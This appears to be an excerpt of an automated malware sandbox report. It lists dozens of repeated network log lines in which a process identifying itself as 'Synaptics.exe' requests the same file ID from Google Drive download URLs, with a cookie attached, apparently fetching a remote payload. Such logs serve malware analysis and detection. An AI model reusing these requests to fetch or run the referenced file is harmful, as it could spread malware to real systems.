Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
